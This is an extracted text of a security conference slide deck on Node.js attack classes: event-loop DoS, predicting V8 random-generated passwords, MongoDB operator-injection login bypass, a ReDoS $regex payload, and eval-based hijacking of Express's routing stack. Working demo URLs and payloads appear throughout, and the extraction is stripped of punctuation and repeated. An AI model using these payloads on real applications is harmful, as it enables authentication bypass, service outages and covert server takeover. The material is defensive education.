the node.js highway: attacks are at full throttle · applications (db queries) and applications...

43
1 The Node.js Highway: Attacks are at Full Throttle Maty Siman, CTO Checkmarx

Upload: others

Post on 29-May-2020

11 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

1

The Nodejs Highway

Attacks are at Full Throttle

Maty Siman CTO

Checkmarx

Agenda

Architecture

DoS

Weak Crypto

JSON ndash itrsquos everywhere

ReDoS

Traceless Routing Hijacking

Architecture

Nodejs is Event-driven single-threaded and non-blocking IO

Built on top of Chromersquos V8 engine

var fs = require(fs) var fileName = footxt fsexists(fileName function(exists) if (exists) fsstat(fileName function(error stats) if (statssize gt 10241024) consolelog(ldquoLargerdquo) ) ) ) )

Event Loop

Event Queue

Event Loop

(Single thread)

File System

Database

Network

Register Callback

Operation Complete

Trigger Callback

httpstackoverflowcomquestions21596172what-function-gets-put-into-eventloop-in-nodejs-and-js

Architecture

Nodejs is Event-driven single-threaded and non-blocking IO

bull No multi-threading context switching

bull CPU doesnrsquot wait for IO to finish so works great for IO intensive

applications (DB queries) and applications with a lot of user interaction

(web apps)

bull Doesnrsquot work well for CPU intensive applications

bull Once your code finishes its current operation the event-loop fetches

the next event with its associated callback function

DoS

Function sum (p)

for (i=1ilt=p++i)

f=f+i

This makes nodejs highly vulnerable to DoS

httplocalhost49090sump=5

httplocalhost49090sump=100000000

httplocalhost49090sump=5

Nodejs as a web server

There is no hosting web server (IIS Tomcat etchellip) Your code is

responsible for handling the incoming requests

No separation between the web-servicing part and the business

logic part

All run within the same thread within the same context

Nodejs as a web server

var http = require(http)

var server = httpcreateServer(function(req res)

switch (reqmethod)

case POST

var item =

reqon(data function(chunk)

item += chunk

)

reqon(end function()

resend(OKn)

)

break

case GET

)

serverlisten(3000)

V8rsquos default PRNG

V8rsquos default PRNG

V8 PRNG is known to be weak

For example check Amit Kleinrsquos

httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr

andom_vulnerabilitypdf

Seed State0[01]

State1[01]

State2[01]

State3[01]

Staten[01]

Random0

Random1

Random2

Randomn

Random3

V8rsquos default PRNG

Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones

First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float

number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive

value

V8rsquos default PRNG

The parameters of the algorithm are modified by Google every few releases but the

algorithm looks similar to the following (the actual value is then divided by 2^32)

httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773

Random number generator using George Marsaglias MWC algorithm

static uint32_t random_base(uint32_t state)

Initialize seed using the system random()

No non-zero seed will ever become zero again

if (state[0] == 0) seed_random(state)

Mix the bits Never replaces state[i] with 0 if it is nonzero

state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)

state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)

return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)

V8rsquos default PRNG

Given 3 consecutive random numbers the values of state[0] and state[1] can be

inferred ndash hence all future values can be known in advance

But

In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons

this issue is treated as low-severity

But

In nodejs all users are running within the same context Each user can tell what

are the values of the global ldquostaterdquo variables

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 2: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Agenda

Architecture

DoS

Weak Crypto

JSON ndash itrsquos everywhere

ReDoS

Traceless Routing Hijacking

Architecture

Nodejs is Event-driven single-threaded and non-blocking IO

Built on top of Chromersquos V8 engine

var fs = require(fs) var fileName = footxt fsexists(fileName function(exists) if (exists) fsstat(fileName function(error stats) if (statssize gt 10241024) consolelog(ldquoLargerdquo) ) ) ) )

Event Loop

Event Queue

Event Loop

(Single thread)

File System

Database

Network

Register Callback

Operation Complete

Trigger Callback

httpstackoverflowcomquestions21596172what-function-gets-put-into-eventloop-in-nodejs-and-js

Architecture

Nodejs is Event-driven single-threaded and non-blocking IO

bull No multi-threading context switching

bull CPU doesnrsquot wait for IO to finish so works great for IO intensive

applications (DB queries) and applications with a lot of user interaction

(web apps)

bull Doesnrsquot work well for CPU intensive applications

bull Once your code finishes its current operation the event-loop fetches

the next event with its associated callback function

DoS

Function sum (p)

for (i=1ilt=p++i)

f=f+i

This makes nodejs highly vulnerable to DoS

httplocalhost49090sump=5

httplocalhost49090sump=100000000

httplocalhost49090sump=5

Nodejs as a web server

There is no hosting web server (IIS Tomcat etchellip) Your code is

responsible for handling the incoming requests

No separation between the web-servicing part and the business

logic part

All run within the same thread within the same context

Nodejs as a web server

var http = require(http)

var server = httpcreateServer(function(req res)

switch (reqmethod)

case POST

var item =

reqon(data function(chunk)

item += chunk

)

reqon(end function()

resend(OKn)

)

break

case GET

)

serverlisten(3000)

V8rsquos default PRNG

V8rsquos default PRNG

V8 PRNG is known to be weak

For example check Amit Kleinrsquos

httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr

andom_vulnerabilitypdf

Seed State0[01]

State1[01]

State2[01]

State3[01]

Staten[01]

Random0

Random1

Random2

Randomn

Random3

V8rsquos default PRNG

Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones

First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float

number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive

value

V8rsquos default PRNG

The parameters of the algorithm are modified by Google every few releases but the

algorithm looks similar to the following (the actual value is then divided by 2^32)

httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773

Random number generator using George Marsaglias MWC algorithm

static uint32_t random_base(uint32_t state)

Initialize seed using the system random()

No non-zero seed will ever become zero again

if (state[0] == 0) seed_random(state)

Mix the bits Never replaces state[i] with 0 if it is nonzero

state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)

state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)

return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)

V8rsquos default PRNG

Given 3 consecutive random numbers the values of state[0] and state[1] can be

inferred ndash hence all future values can be known in advance

But

In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons

this issue is treated as low-severity

But

In nodejs all users are running within the same context Each user can tell what

are the values of the global ldquostaterdquo variables

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 3: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Architecture

Nodejs is Event-driven single-threaded and non-blocking IO

Built on top of Chromersquos V8 engine

var fs = require(fs) var fileName = footxt fsexists(fileName function(exists) if (exists) fsstat(fileName function(error stats) if (statssize gt 10241024) consolelog(ldquoLargerdquo) ) ) ) )

Event Loop

Event Queue

Event Loop

(Single thread)

File System

Database

Network

Register Callback

Operation Complete

Trigger Callback

httpstackoverflowcomquestions21596172what-function-gets-put-into-eventloop-in-nodejs-and-js

Architecture

Nodejs is Event-driven single-threaded and non-blocking IO

bull No multi-threading context switching

bull CPU doesnrsquot wait for IO to finish so works great for IO intensive

applications (DB queries) and applications with a lot of user interaction

(web apps)

bull Doesnrsquot work well for CPU intensive applications

bull Once your code finishes its current operation the event-loop fetches

the next event with its associated callback function

DoS

Function sum (p)

for (i=1ilt=p++i)

f=f+i

This makes nodejs highly vulnerable to DoS

httplocalhost49090sump=5

httplocalhost49090sump=100000000

httplocalhost49090sump=5

Nodejs as a web server

There is no hosting web server (IIS Tomcat etchellip) Your code is

responsible for handling the incoming requests

No separation between the web-servicing part and the business

logic part

All run within the same thread within the same context

Nodejs as a web server

var http = require(http)

var server = httpcreateServer(function(req res)

switch (reqmethod)

case POST

var item =

reqon(data function(chunk)

item += chunk

)

reqon(end function()

resend(OKn)

)

break

case GET

)

serverlisten(3000)

V8rsquos default PRNG

V8rsquos default PRNG

V8 PRNG is known to be weak

For example check Amit Kleinrsquos

httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr

andom_vulnerabilitypdf

Seed State0[01]

State1[01]

State2[01]

State3[01]

Staten[01]

Random0

Random1

Random2

Randomn

Random3

V8rsquos default PRNG

Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones

First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float

number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive

value

V8rsquos default PRNG

The parameters of the algorithm are modified by Google every few releases but the

algorithm looks similar to the following (the actual value is then divided by 2^32)

httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773

Random number generator using George Marsaglias MWC algorithm

static uint32_t random_base(uint32_t state)

Initialize seed using the system random()

No non-zero seed will ever become zero again

if (state[0] == 0) seed_random(state)

Mix the bits Never replaces state[i] with 0 if it is nonzero

state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)

state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)

return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)

V8rsquos default PRNG

